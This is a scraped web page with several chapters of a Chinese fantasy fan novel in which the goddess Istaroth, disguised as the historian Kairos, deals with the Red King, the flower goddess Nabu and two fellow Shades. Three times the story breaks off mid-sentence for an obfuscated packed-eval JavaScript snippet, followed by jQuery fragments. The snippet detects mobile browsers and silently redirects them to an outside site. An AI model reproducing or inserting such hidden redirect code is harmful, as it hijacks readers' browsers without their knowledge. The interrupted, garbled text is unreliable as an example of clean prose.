p>娜布微微抬眼,注视着眼前遮着大半面容的人,似乎要将她的模样刻入眼底。
“您……”
娜布不知想到了什么,声音渐渐低了下去,却坚定地向伊斯塔露伸出了手。
“请允许我的冒犯。”
伊斯塔露手上还抱着赤王的行头,一时疏忽,便由花神抚上了她的脸颊。
随后,斗篷的兜帽落下,雪肤幽容的神明清皎如皓月,疏淡如琉璃。
那双金蓝色的眼眸灿然,眼中似乎刻着十二时辰的纹样。
看到这张脸的瞬间,花神眉眼间的忧郁与淡然顷刻散去。
娜布收起了手,抬眼看着伊斯塔露,本有愁色的眉眼渐渐舒展开。
“呃,娜布?”
阿赫玛尔回过头,有些不解地看着娜布,看着不染尘缘的花神深深地注视着伊斯塔露——他极有兴趣的、新招的史官。
伊斯塔露也摸不着头脑。
……她失忆前和花神难道是有什么不可告人的前缘吗?
光是看到她的脸,花神就这么大反应,说她俩一点关系都没有,史莱姆都不信。
可她不知道啊,神秘声音留下的笔记没说啊。
伊斯塔露蹙了蹙眉,电光石火间,她视线逐一扫过三神,想好了搪塞娜布的措辞。
可娜布温柔又轻盈的言语却让她思绪一滞:
“我很开心,能与您重逢。”
“好久不见了,希望您在这千年岁月里,安好如初。”
随后,娜布语气一变,矛头直指正在给自己斟酒的阿赫玛尔:
“阿赫玛尔,我是不是跟你说过,我曾经的救命恩人叫做卡伊洛斯?”
娜布深吸一口气,终于在伊斯塔露面前做好了表情管理,她侧过头,幽幽地看着阿赫玛尔。
“你让她——卡伊洛斯大人——当你的史官?”
“阿赫玛尔,你怎么敢?”
“……嗯?”
阿赫玛尔挑起眉,状似平静地移开视线。
花神柳眉倒竖。
伊斯塔露哭笑不得。
赤王百口莫辩。
布耶尔的视线在赤王、花神和伊斯塔露身上流连片刻后,眉眼温柔的树王莞尔道:
“自求多福,阿赫玛尔。”
“相识数千年,我也是第一次看娜布这么生气。”
“阿赫玛尔,卡伊洛斯大人是什么人?她绝无可能当你的史官……”
见阿赫玛尔没有回答,娜布不满地眯起眼,给了结论。
“卡伊洛斯大人,请您随我一起回我的苗圃,我定以最高规格的礼仪待您。”
不明就里的阿赫玛尔终于轻咳一声,顺手从伊斯塔露手里捞出赤沙之杖,横在她和娜布之间。
阿赫玛尔迎着娜布的视线,寸步不让,金眸灼灼:
“娜布,卡伊洛斯自己答应做我史官的,明着跟我抢人不合适吧?”
娜布幽幽地轻嗤一声,看向伊斯塔露:
“卡伊洛斯大人,跟我走。”
阿赫玛尔也侧头看着她:
“卡伊洛斯,你自己选的向我称臣。”
伊斯塔露顶着两人的视线,讪笑着,随后,她闭上眼,往其中一人的方向随手一指。
23. 人间一梦(二十三)
花神怔愣过后,倒也算淡定,她只是哀哀地叹了口气,有些怨怼地盯着阿赫玛尔。
伊斯塔露在阿赫玛尔志得意满的目光中,看上去也是惋惜得很。
不是她想给阿赫玛尔当牛做马,是她实在不敢在娜布面前大摇大摆。
这位花神和她有什么前缘,伊斯塔露一概不知,也不敢保证她失忆的事情露馅后会不会出事。
而且这三神里,还是赤王看上去最赤诚了。
——其实就是他太骄傲,根本无所谓伊斯塔露的来历。
也最好忽悠。
“好了,既然卡伊洛斯阁下已经做出了选择,此事已定,你们两位也不要闹了,要不然可就要被看笑话了。”
大慈树王温温柔柔地为伊斯塔露端上了一杯花茶,打断了花神单方面的针锋相对。
“阿赫玛尔,你找我和娜布过来有何事要商议?”
“还有卡伊洛斯阁下,”布耶尔平和的目光落在伊斯塔露身上,却让她莫名心虚,“且容我向您先表歉意,毕竟不知阿赫玛尔要商谈的事务,是否能让他人知晓。”
也就是可能要下逐客令了,伊斯塔露了然地笑了笑,不置可否。
果然,对她防备最深的反而是这位看上去最温柔和善的大慈树王。
“无妨,”阿赫玛尔毫不见外地把他的赤沙之杖又抛回给伊斯塔露,闭上眼,笑了笑,“卡伊洛斯爱听就听咯。”
“无论是以我赤王「阿赫玛尔」史官的身份,还是拯救娜布于「天理」的恩人身份。”
“这件事有人来见证,不是挺好的吗?”
……天理?!
听到这二字从尘世魔神口中说出,伊斯塔露原本平静的神色险些出现了一丝裂痕。
她以为不会有人知道这个凌驾于世界之上的存在的。
毕竟这位伊斯塔露名义上的正主,也只在神秘声音口中和那本笔记里出现过。
甚至在归离集的时候,她都没能从博闻强识的摩拉克斯口中听到过。
为什么赤王会知道?
布耶尔也是神色一凛:
“阿赫玛尔,你莫非是想……”
布耶尔没有说下去,可阿赫玛尔和娜布都已经会意。
娜布不以为意地轻哼一声,垂下眉眼。
阿赫玛尔则收起了张扬的神色,他放下酒坛,从座位上站起身,俯视着两位盟友,长发平静却决然地道:
“我想去世界之外,寻找到能挑战天理的力量。”
本该是语惊四座的话语,却只带来了长久的沉寂。
布耶尔抿着唇,不认可地兀自摇头。
娜布只是轻笑一声,散去的忧愁复又绕回她的眉眼。
“阿赫玛尔,我是早就提醒过你,不要追随四重影子的主人,但也不代表着……”
“我支持你那虚无缥缈的妄想。”
“你妄图挑战高天的王座,却空有战无不胜的才智,没有与之配位的见识。”
“甚至你对天空岛、对四重影子的主人的了解,都来源于我的描述。你凭什么觉得,你能战胜那位呢?”
面对花神的奚落,阿赫玛尔抱臂俯视着娜布和布耶尔,难得地没有向两位盟友退让。
最后,高傲的赤王转头看向站在他身后的、唯一的救命稻草,蹙眉询问:
“卡伊洛斯,你怎么看?”
“我怎么看?”
伊斯塔露挑眉笑了笑:
“我的看法是,赤王大人,您在这里无人在意这段,我会如实记录。”
伊斯塔露带过话题的调侃声打破了严肃的氛围,布耶尔和娜布似乎都松了口气。
布耶尔面露感激之色,向伊斯塔露微微颔首。
貌美却总愁容满面的花神则向伊斯塔露绽开柔和的笑容。
伊斯塔露回以莞尔一笑。
其实她本人的看法本该和娜布大相径庭。
自从亲眼见证「天理」轻而易举地夺走了移霄导天真君的性命,她就不认为这个世界的生灵能轻易撼动祂了。
所以,赤王自然也不行。
可是阿赫玛尔说,要寻找世界之外的力量,那么他的目的就和伊斯塔露一致——
那本笔记说,唯有大慈树王布耶尔活了下来,因为赤王死于探寻世界之外的禁忌知识,花神死于为赤王打开禁忌知识的通道。
笔记要伊斯塔露想方设法促成这个结果,并且借着花神的通道,掌握赤王没能理解的禁忌知识。
这是杀死「天理」必不可少的一步。
伊斯塔露没理由不支持赤王,但不应该太早表现在花神和树王面前。
“布耶尔,娜布,还有卡伊洛斯,你们为何不信我?”
所向披靡、风光无限的赤王难得看起来有些挫败,他的金眸却依旧灿烂。
“我过去在沙漠战无不胜,如今挑战高天也一样。”
娜布却只是叹息一声,缄口不言。
布耶尔也四两拨千斤地拨开了阿赫玛尔的执念。
阿赫玛尔见自己无人理解,蹙着眉重新落座。
伊斯塔露便在此时浅浅躬身,在他耳边低语:
“赤王大人,若你想要挑战高天,仅仅从娜布口中知道的那些可不够。”
如愿以偿看见赤王骤缩的瞳孔后,伊斯塔露不着痕迹地直起身。
够了,聪明如阿赫玛尔,一定会明白的。
……就像彼时的归终一样。
想起归终,伊斯塔露又垂下了眼帘。
想来这个湖心岛很快就会和归离集一样,变成她空有记忆却回不去的地方。
布耶尔也会和摩拉克斯、魈和留云借风真君一样——变成她不能再见的故人。
很快,这场会谈如同伊斯塔露所预料的那样,不欢而散。
但即使事态如她所愿,伊斯塔露也并不觉得轻松,她垂着眉眼,哂笑一声。
毕竟她应该扪心自问一句:这是她道貌岸然的“杀生为护生”吗?
伊斯塔露还没有答案。
她只是沉默地看着阿赫玛尔从她怀中取走了披风和赤沙之杖,带着她和两位女神告别。
最后,她在娜布关切的目光下,随着赤王重新踏入雨林,走向漫漫黄沙。
第一脚才陷入沙地,阿赫玛尔已经转身注视着伊斯塔露,神色肃穆:
“卡伊洛斯,你刚才那句话的意思是,你还知道很多娜布不知道的事情?”
“如果事关天空岛与那位,是的,我远比娜布了解得清楚。”
伊斯塔露干脆利落地点头。
她本人其实不怎么清楚,但她能作弊啊——
神秘声音留下的笔记,里面的内容几乎都绕不开「天理」、天空岛和包括伊斯塔露在内的「天理四影」。
这些东西,足够满足赤王的好奇心,让他想方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936210|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
设法找机会寻找禁忌知识了。
“你真是我的意外之喜啊,史官卡伊洛斯。”
阿赫玛尔闭上眼笑了一声,随后骤然睁开金眸,在烈日下俯视着伊斯塔露:
“卡伊洛斯,你希望我做什么,才会告诉我这些事?”
阿赫玛尔虽然自信,但并不会自以为是——伊斯塔露从来都没有明面上说过要支持他。
伊斯塔露也笑了,她顺水推舟,指了指远方由高楼白塔构成的繁荣城邦:
“说服我吧,阿赫玛尔,用你的辩才和愿望说服我,让我相信你能做到剑指高天。”
“而且我想,娜布和我一样,也需要你的回答。”
否则那本笔记就不会要她促使花神以生命打开通道了。
让那个第一次见面就对她温温柔柔的花神用生命开辟前路啊……思绪至此,伊斯塔露不忍地闭上眼。
促使赤王和花神的死亡,然后踏上违逆天理的道路。
这条路充满诡计与恶意,却似乎通往光明与公正。
——可她真的要如此残忍地这样走下去吗?为了她自己活下去?还是为了所有人?
她也不清楚。
“要我说服你?好啊。”
阿赫玛尔抬起头,眯眼直视着烈日,古铜色的皮肤在阳光下熠熠生辉。
随后,他向伊斯塔露伸出手:
“来,跟我走,卡伊洛斯。”
伊斯塔露四下环顾,不为所动:
“赤王大人,我们要回你的城邦吗?那是否该找两匹马?”
阿赫玛尔回过头,讶然地上下打量着伊斯塔露:
“你没这么孱弱吧?走过去也是一样的。”
“……我有,我就弱,我是废物,我走不动。”
有过和摩拉克斯一起老人遛弯但爬了一座山的经验,伊斯塔露已经不会再上当了。
“卡伊洛斯,怎么这点路都不想走?”
阿赫玛尔对伊斯塔露发出了道德上的谴责,但由于后者在这件事上并无道德,阿赫玛尔也只能叹气。
“……行。”
他随手解下身上的披风,在手中抖了抖,随意往空中一丢。
披风稳稳当当地浮在半人高的位置,赫然变成了飞毯。
伊斯塔露毫不客气地坐上了铺开的披风:
“哇哦,变飞毯了?赤王大人,你有点神奇了。”
阿赫玛尔挑起眉,对伊斯塔露的称赞尽数笑纳。
随后,阿赫玛尔带伊斯塔露进入了一座偏远的城邦——
不比伊斯塔露来时见到的那座城邦,这座城的城楼低矮,街道上也几乎看不见人影。
甚至没有守城士兵出来觐见赤王大人,荒凉得有些令人难以置信。
伊斯塔露走在阿赫玛尔身后,怀中还抱着他的披风,她沉吟片刻,本想开口提醒阿赫玛尔——
谁知她后脚刚迈进城,城门便迫不及待地在她身后发出沉闷的响声。
随后,兵戈声起,全城戒严。
阿赫玛尔倒是不以为意,他一脸淡然地看向站在城楼上叫嚣的士兵。
阿赫玛尔只是平静而淡漠地注视着那名士兵。
原本笑得小人得志的士兵却下意识惊惧,不由得后退几步,大喊道:
“我等应花神大人之命,在此处伏击诛杀两位!”
“老实被埋在沙下吧,赤王大人,史官小姐!”
24. 人间一梦(二十四)
伊斯塔露对这句话无动于衷,阿赫玛尔也对此置若罔闻。
要有人真的相信他们的挑拨才见鬼了。
毕竟娜布应该也想不出那么没品的埋伏来拦截他们,多半是把脏水往花神身上泼的叛乱。
只是这叛乱多实在有点太多了……
伊斯塔露忍不住用手肘捅了捅阿赫玛尔:
“赤王大人,你们的三神结盟有那么不受你的子民待见吗?”
“是啊,很多人不待见,但不重要,这不是错误的。”
风吹起阿赫玛尔头冠下的银白长发,孤傲的赤沙之主笑得锋利。
“我不后悔我的选择,以后也是。”
阿赫玛尔将视线落在刚才叫嚣着的士兵身上:
“要么让你们的叛军首领来见我,我阿赫玛尔便不追究其余从者的罪过。”
“要么从此刻起,我所见者,格杀勿论。”
阿赫玛尔的语气很平静,却在满城戒严的寂静下,带着一股肃杀气。
那个士兵只沉默了半晌,便忙不迭蹲下身,消失在二人的视线中。
随即,撕心裂肺的呐喊声划破云霄:
“我们这些人哪知道什么首领!”
“快跑啊,谁慢谁死!一人做事一人当,叛乱不关我们的事!”
话音未落,城楼内传来“轰隆隆”的声响——所有士兵丢盔弃甲,手忙脚乱地开始往远离阿赫玛尔的方向奔逃。
……十足的草台班子,伊斯塔露目送着那些士兵逃离,摁着太阳穴苦笑。
听闻赤王在沙漠之中从无敌手——如果对手都这么愚蠢,那阿赫玛尔确实能轻易取胜。
阿赫玛尔轻嗤一声,举起赤沙之杖。
顷刻间,无数黄沙被疾风裹挟着,在他身后肆虐,隐有铺天盖地之势。
可几声隐约的哭嚎却打断了阿赫玛尔的动作:
“救命、救命啊——”
“赤王大人,救命——”
因阿赫玛尔的权能而聚起的黄沙顷刻间散去大半,阿赫玛尔的目光精准地落在了一群拖拽着平民的士兵身上。
感受到阿赫玛尔的目光,那些士兵抖了三抖,又两人一组死死摁住了劫持的平民,其中一人颤抖着向阿赫玛尔喊话:
“您、你别过来!过来的话,我们、我们就和这些平民一起死!死了也拉个垫背的,不亏!”
阿赫玛尔没有回答,但骇人的沙暴消弭于无形——他还是向叛军妥协了。
“赤王大人,怎么收手了?”
伊斯塔露侧头看阿赫玛尔。
她不认为阿赫玛尔是对叛军心慈手软,毕竟之前当街斩反贼时,他也没手软。
阿赫玛尔抬头直视着灼目的阳光,日晖为银白的长发镀了一层浅金,他微微合上眼,缓缓吐出一口气。
“那五个人,我无法保证他们在我解决所有叛军后,还能活下来。”
“我会解决叛乱,但不能殃及我的子民,哪怕一人。”
他可以轻而易举地用武力镇压叛乱,却为了五个平民甘愿以身入局,身陷险境。
赤王从不会放弃任何一个向他称臣的子民。
魔神爱人啊。
伊斯塔露在身后看着阿赫玛尔飘扬的白发,她沉默了许久,忽然感慨了一声:
“赤王大人,您比我想得要……”
比她想得要仁义,也比她想得更不适合做一个君王。
阿赫玛尔能权衡利弊,却做不出取舍。
他迟早有一日要为了两全其美的结局牺牲自己的。
——所以没有人比阿赫玛尔更合适了,更适合为伊斯塔露接触禁忌知识铺路。
伊斯塔露如此说服着自己。
阿赫玛尔用眼角的余光看了他一眼:
“比你想得要什么?就想说我坏话?”
伊斯塔露回以疏淡苍白的笑容:
“您比我想得要英明神武。”
她话音刚落,一块石板从远处“呼”地砸向二人。
伊斯塔露蹙了蹙眉,轻描淡写地截住了石板,翻看上面的文字:
“封禁你那名史官的力量,把她送到城中心的雕像处,换这座城所有人安然无恙——雷穆斯。”
伊斯塔露对这个名字隐约还有点印象——看来是不敌赤王的魔神和赤王某些臣民私下勾结了。
所以雷穆斯是记恨她之前为了进城,随手把他的前锋解决了?
且不说这雷穆斯卧底为何打探得那么快,就说雷穆斯的前锋——他们不堪一击,能怪她吗?
“赤王大人,您打算怎么办?”
伊斯塔露腹诽过后,无所谓地摊了摊手。
“我倒是不介意以身诱敌,反正他们大概也拿我没什么办法。”
“我不会,卡伊洛斯。”
阿赫玛尔想也不想便抬手打断了伊斯塔露。
“我同样不会让你身陷险境,哪怕你的力量足以匹敌我本身。”
只因为伊斯塔露那一句算不上有多少真心的“向您称臣,赤王大人”。
“他们怨恨的其实还是我,不过是畏惧我身为魔神所拥有的力量。”
阿赫玛尔手起刀落,毫不犹豫地用赤沙之杖贯穿了自己一侧的肩膀。
随着阿赫玛尔的一声闷哼,血液争先恐后地从伤口涌出,染了他一手的鲜红。
淋漓的神血落在地上,却流动成了法阵的模样,焕发着诡异的血光。
最后,地上血液汇成的法阵黯淡下来,一记图象诡谲的黑色印痕落在阿赫玛尔的伤处。
阿赫玛尔蹙了蹙眉,甩去了手上的血珠,捂着伤口喘了口气:
“这样的封禁秘术……能暂时封住魔神的大半力量,雷穆斯他……想必会接受由我本人来代替史官的。”
“你把我送过去吧,不需要魔神的力量,我也能解决他们。”
高傲的赤沙之主回过头,银白长发在风沙中飞扬。
“见证,然后记录下这一切,劳烦你了,卡伊洛斯。”
伊斯塔露看着他的背影。
明明破局之法有千万种,阿赫玛尔果然还是选择了最危险、却只有他一人陷入险境的办法。
“……遵命,赤王大人。”
伊斯塔露没有反驳,她抱着阿赫玛尔的白披风,沉吟片刻后,点头称是。
阿赫玛尔不仅是个深爱子民的神明,也是具有个人英雄主义的魔神。
……她把选择权交给阿赫玛尔吧,或许阿赫玛尔真的愿意理解她,然后以身入局呢?
至少这聊以慰藉她虚伪的不忍。
伊斯塔露有些自嘲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936211|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地想。
伊斯塔露抬起头,望了一眼遥不可及的高天,在阿赫玛尔身后开了口:
“赤王大人,我认可你的正义,还有你对人类的仁爱。”
“我会把你想知道的、有关「天理」的一切告诉你。”
可事实却出乎伊斯塔露的意料,阿赫玛尔并没有笑着回头,洗耳恭听。
满堂空寂无声,前方的赤王没有应答。
连风也停下了脚步。
“伊斯塔露,你想告诉他什么?”
随后,平缓而冷漠的女声在伊斯塔露身后幽幽响起。
伊斯塔露骤然回过头,身后却空无一人。
这道声音莫名的熟悉感让她脊背一寒。
.
与此同时。
遥远的赤王陵正上空,一道漆黑的裂痕缓缓张开,绯红的独眼自裂痕中争先恐后地睁开。
「死亡」的化身正凝视着赤沙的王城,也凝视着赤沙之主和时之执政。
.
伊斯塔露见自己实在没能感知到其他人,才回过头,却发现身边的赤王已然消失不见。
只剩下她一人站在灿金的阶梯上。
远方天幕暗沉,如已入夜。
近处,无数星辰在脚下,沿着阶梯铺开,延伸成浩瀚无垠的星海。
阶梯之下,一红一白两位神女正注视着伊斯塔露。
伊斯塔露与那二人对上视线后,下意识后退了半步。
她对这两人的长相略有印象。
按照那本笔记所记载的,眼前两位女神算是她的“同事”,世界秩序「天理」的另外两个影子——
「死之执政」若娜瓦,以及「生之执政」纳贝里士。
伊斯塔露记得神秘声音说,自己一定要装好「天理」的狗腿子。
可是没人告诉她要怎么和同事相处啊?
有职场反霸凌教程吗?在线求,很急。
毕竟这两位执政看上去来势汹汹——
白发红衣的「死之执政」面无表情地盯着伊斯塔露,向她伸出了手:
“下来吧,或许我们需要聊聊了,伊斯塔露。”
“毕竟上次你从‘祂’手里抢下仙灵跑了以后,就销声匿迹数万年了。”
多说多错,伊斯塔露没有回答,状似镇定地和「死之执政」若娜瓦对视。
「生之执政」纳贝里士双手抱臂,饶有兴趣地看着伊斯塔露,絮絮叨叨地奚落她:
“畏罪潜逃?明明总是摆出厌世怠惰的模样,却最喜欢在「天理」的红线上蹦哒,为什么呢?”
“我的造物都被你骗去镇压水龙王了,我还担忧过你的安危,合着你似乎过得比我还好,万花丛中过呢,伊斯塔露。”
若娜瓦在阶梯下仰望着伊斯塔露,气势却分毫不差:
“伊斯塔露,你确实该想想这些年都做了什么了。”
“诱导纳贝里士的造物犯罪,指引国土沉入地底的人类,保下最后一只人形的仙灵,甚至不惜被‘祂’追杀……”
“告诉我们,你在想什么?”
若娜瓦目光灼灼,紧盯着伊斯塔露的眼眸。
她似乎要透过表象,看见伊斯塔露那早已忘却了过去、心已经偏向人类的灵魂:
“你打算叛变了吗,伊斯塔露?”
25. 人间一梦(二十五)
什么叛变不叛变?打工人的事,能叫叛变吗?
伊斯塔露很想这么说。
但看若娜瓦和纳贝里士的态度,应该容不得她这样应付——
何况她早就失去了记忆,谁知道会不会和她俩印象里的「时之执政」有出入?
要是被发现不对,那可就不是请高人能解决的事了。
“若娜瓦,你这质问有些多余了,我有什么叛不叛变的?”
伊斯塔露思索了一瞬,随后,她直面「死之执政」的凝视,一步步走下鎏金的阶梯。
白色的云烟自她足尖生出,缓缓包裹了她。
云烟散去后,简单的白色斗篷化作繁复华丽的白裙,头顶同心的天环也坠上了象征“时间”的金饰。
伊斯塔露身着「时之执政」的盛装华服,状似平静地注视着她那两位“同事”。
开口的瞬间,那句话也自然而然便说了出来:
“我们都是「天理」的影子,除非我能爱什么胜过爱我自己,否则我为何要背叛祂?”
话刚出口,伊斯塔露自己都是悚然一惊——这句话像是已经刻入骨髓的规则,甚至已经失去记忆,她仍能脱口而出。
此言既出,若娜瓦倒是舒了口气,她将信将疑地又打量了伊斯塔露几眼,才收回视线。
“此言不假,你只是闲散,毕竟不如阿斯莫代那般执拗,孰是孰非,你心里应当有数。”
——她说的是「空之执政」阿斯莫代,伊斯塔露最后一位“同事”。
也是「天理」唯一一位不在场的影子。
伊斯塔露见若娜瓦神色有异,本想试着打听阿斯莫代的情况,却因为纳贝里士似笑非笑地看了自己一眼,又生生打住了想法。
多说多错,若娜瓦都说她“闲散”了,还是不要多管闲事的好。
至于她那虚无缥缈的、身为“神明”的过去,有机会能知道最好,没机会就算了。
“谁说伊斯塔露心里有数了?”
纳贝里士收回带着笑意的视线,又开始碎碎念。
“她把我的造物「厄歌莉娅」骗去坐牢,指引了被‘祂’抛弃、在地底生活的人类。”
“现在还自己收拾收拾就去干扰魔神战争,看上去就是蠢蠢欲动想搞事的模样……啧啧。”
前两件事在笔记里有所记载,是伊斯塔露失忆前就干了的。
而“干扰魔神战争”说的是她现在所做的一切。
若娜瓦对纳贝里士的怨念置若罔闻,她的视线依旧在伊斯塔露身上。
她那血红色的眼眸似乎盛满了亡灵死前的哀景,令人难以直视:
“这也是我要审问你的第二点,伊斯塔露,你为何要赋予它们‘历史’?”
“无论是魔神战争,纯水创生,还是地下古国创造所谓「大日御舆」,都不需要你的见证,你为何要去凡世管束这一切?”
面对若娜瓦咄咄逼人的质问,伊斯塔露蹙着眉,缓缓开口:
“若娜瓦,你知道,我的权能是「时间」。”
若娜瓦微微颔首,眼中怀疑不减,但还是对伊斯塔露的解释做出了洗耳恭听的态度。
“我的权能并非意味着我应该在漫长的时间里对一切袖手旁观,若是有人行差踏错而偏离‘祂’的想法,我自然不能坐视不管。”
伊斯塔露学着若娜瓦的说话方式,云山雾罩地搪塞她。
出乎意料的是,若娜瓦似乎接受了她的回答,只是不置可否地和纳贝里士对视一眼。
纳贝里士倒是轻笑了一声,又幸灾乐祸地开始拱火:
“哼,说得道貌岸然,实际上就是在提瓦特找个清闲角落,还时不时犯贱惹一下‘祂’,然后把烂摊子全丢给勤勤恳恳的我们收拾。”
“我说伊斯塔露,你和阿斯莫代真的是……‘祂’的反骨都分到你俩身上了吧?”
若娜瓦摁了摁自己的太阳穴,似乎也有些难以忍受纳贝里士的碎碎念,她以手势制止了后者:
“好了,暂停,我还有话要问她。”
若娜瓦再次看向伊斯塔露,她的神色冷峻起来,眼底如亡灵般的血红也愈发浓稠:
“最后一点,「时之执政」伊斯塔露,你为何要向尘世的魔神提及有关‘祂’的一切?”
“你本就因为化名‘卡伊洛斯’,保下最后的人形仙灵——也就是尘世间那位花神,被‘祂’追责了许久。”
“如今又和花神的盟友提及‘祂’……想做什么?”
伊斯塔露没有回答,她意外于娜布居然会在此时被提起。
结合那本笔记,那最开始神秘声音和她说的“被「天理」追杀”,也有了完整的解释——
失忆前的她,「时之执政」伊斯塔露,从「天理」手下保住了花神娜布的性命,但因此被追杀,后来流亡到归离集,直至失忆。
这样看来,她确实算得上娜布的救命恩人。
只是为什么「天理」没有再理会娜布?而且祂如今似乎也没有太多亲自出面的意思。
——除了在天衡山警示伊斯塔露那一次,剩下的搅混水任务甚至都还交给了她。
这还没有答案。
见伊斯塔露缄默不言,若娜瓦不咸不淡地提醒道:
“伊斯塔露,我知道你不做没把握的事情,我不担心你,只奉劝你别太逾越。”
“而且无论你要做什么,都不必寄希望于区区魔神。仅凭他们的权能,什么也做不了。”
“区区魔神”吗?在若娜瓦质疑她的时候,伊斯塔露还是忍不住在心底感慨——
看来神秘声音说得还是保守了,伊斯塔露也低估了自己。
以这两位执政对魔神的态度而言,令人类闻风丧胆的魔神,对她们四位执政极有可能不值一提。
伊斯塔露在心里快速盘算着,却不防纳贝里士伸出手在她面前扫了扫:
“喂,在想什么?要找借口吗?”
……偏偏还真让她说对了。
伊斯塔露不急不缓地看了纳贝里士一眼,没说什么。
所幸在这件事上,她还是能拿鸡毛当令箭的。
伊斯塔露压下心头的忐忑,淡淡地向两位“同事”陈述:
“并非我高看所谓魔神,是‘祂’要我这么做的。”
“‘祂’的旨意是,让赤王精神崩溃,杀死花神与树王。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936212|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“我会把事情真假参半地告诉阿赫玛尔,让他亲手达成‘祂’要的结果。”
“亲自动手?我嫌麻烦,就是这样。”
伊斯塔露说得云里雾里。
纳贝里士对此提出质疑,她戳了戳伊斯塔露的肩:
“真的假的?回头你和阿斯莫代一样躲起来,偷偷找个地方摸鱼怎么办?”
“不必质疑这个,我不喜欢多事,不会第二次自寻烦恼。”
“既然是‘祂’的旨意,我想躲也没办法。”
伊斯塔露摆出无可奈何又懒洋洋的模样。
“如有必要,我会亲自杀死花神和树王。”
若娜瓦的态度倒是缓和下来,她无奈地挥了挥手。
“既是如此,那便随你。别和纳贝里士一样喜欢闹事就行。”
“纳贝闹事,你不管事,阿斯莫代更是绝无仅有的一身反骨,为了一个魔神销声匿迹……”
若娜瓦闭上眼,磨了磨牙,咬牙切齿地总结:
“真是没救了。”
纳贝里士不满地挑起眉:
“若娜瓦,我可比伊斯塔露强多了,我哪有……”
“好了,”伊斯塔露打断了纳贝里士,转身走向散发着光芒的阶梯,“言尽于此,我走了。”
若娜瓦依旧不咸不淡地应了声,放任她离去。
纳贝里士则若有所思地看着伊斯塔露的背影。
伊斯塔露走到了阶梯的最高处,在两位执政审视的目光中,竟然下意识地画出了离开这个空间的法阵。
伊斯塔露暗暗松了一口气,为自己还记得如何使用力量而庆幸。
法阵当即焕发出光芒,将伊斯塔露笼罩其中,片刻后,她的身影消失在这个独立空间。
随后,星辰湮灭,天幕黯淡。
伊斯塔露离开后,若娜瓦的声音骤然响起,在虚空中阵阵回荡,听上去冷漠而笃定:
“纳贝,她是「时之执政」,却不是你我认识的伊斯塔露。”
“斟酌情况,看看是否将此事上报‘祂’。”
.
伊斯塔露只觉一阵天旋地转。
随后,她看见自己怀抱着白色的披风,走在尘沙扬起的街道上,眼前是伤口鲜血淋漓的阿赫玛尔。
她回来了,从莫名其妙的空间里,回到了她熟悉的世界。
终于结束了,伊斯塔露抬手擦了一把鬓边的冷汗。
不知道「生之执政」和「死之执政」有没有看出她的异常,不过事已至此,也只能且行且看了。
“哦?卡伊洛斯,”走在前面的阿赫玛尔倒是饶有兴趣地回过头,“这么快就认可我的意志了?倒是有几分眼光。”
“嗯,我认可你的意志,赤王大人。”
伊斯塔露定了定神,回答阿赫玛尔。
她的目光却落在了天际那无数睁开的绯红眼睛上。
她已经向「死之执政」若娜瓦如此解释,至少现在得演给她看了。
伊斯塔露闭上眼,将她从那本笔记上看到的东西娓娓道来:
“故事要从「原初」讲起了。”
“我们所看到的星空,都是虚假的。”
26. 人间一梦(二十六)
“唉,卡伊洛斯,故事还是回头再说吧。”
阿赫玛尔叹了口气,将赤沙之杖抛到左手。
“或许你应该先等我先把那些小人铲除了。”
沙漠的热风扬起阿赫玛尔飘逸的白发,他的目光却落在了遥远的赤王陵高空。
伊斯塔露循着他的目光,看见了远方天穹上,象征「死之执政」的绯红眼瞳正缓缓闭合。
若娜瓦要离开了。
伊斯塔露当即明白了阿赫玛尔的用意,不免失笑。
阿赫玛尔担心她的话被监听,可在哪里说这些话那两位执政会不知道呢?
那可是「天理」的影子。
她们甚至有把她在瞬息间拉入子空间的能力。
伊斯塔露忽然神色一凛。
——换句话说,那她伊斯塔露应该也有屏蔽若娜瓦和纳贝里士,创造独立空间的能力才对。
或许她应该找个时间研究一下这件事。
伊斯塔露收起思绪,顺着阿赫玛尔的话往下说:
“好好好,那就回头再说咯。”
“但是说不准到时候,说不说就要看我的心情了。”
“说起来,赤王大人,我个人认为,你和娜布都需要知道一些……”
话语在伊斯塔露嘴边打了好几个转才吐出,吊足了阿赫玛尔的胃口:
“天空岛的秘辛。”
“好啊,等到时机合适,我洗耳恭听。”
回应伊斯塔露的是直指高天的赤沙之杖和赤王身后铺天盖地的沙尘。
“卡伊洛斯,我会证明,我阿赫玛尔剑指高天,不是为了感受你们口中的‘蚍蜉撼树’。”
“而是将苍生之音上达那位高高在上的神明。”
伊斯塔露弯了弯眉眼,对这样的豪言壮语不置可否。
不急。
还不急。
哪怕阿赫玛尔已经迫不及待。
既然若娜瓦没有苛责伊斯塔露不守规则,选择对此事睁一只眼闭一只眼。
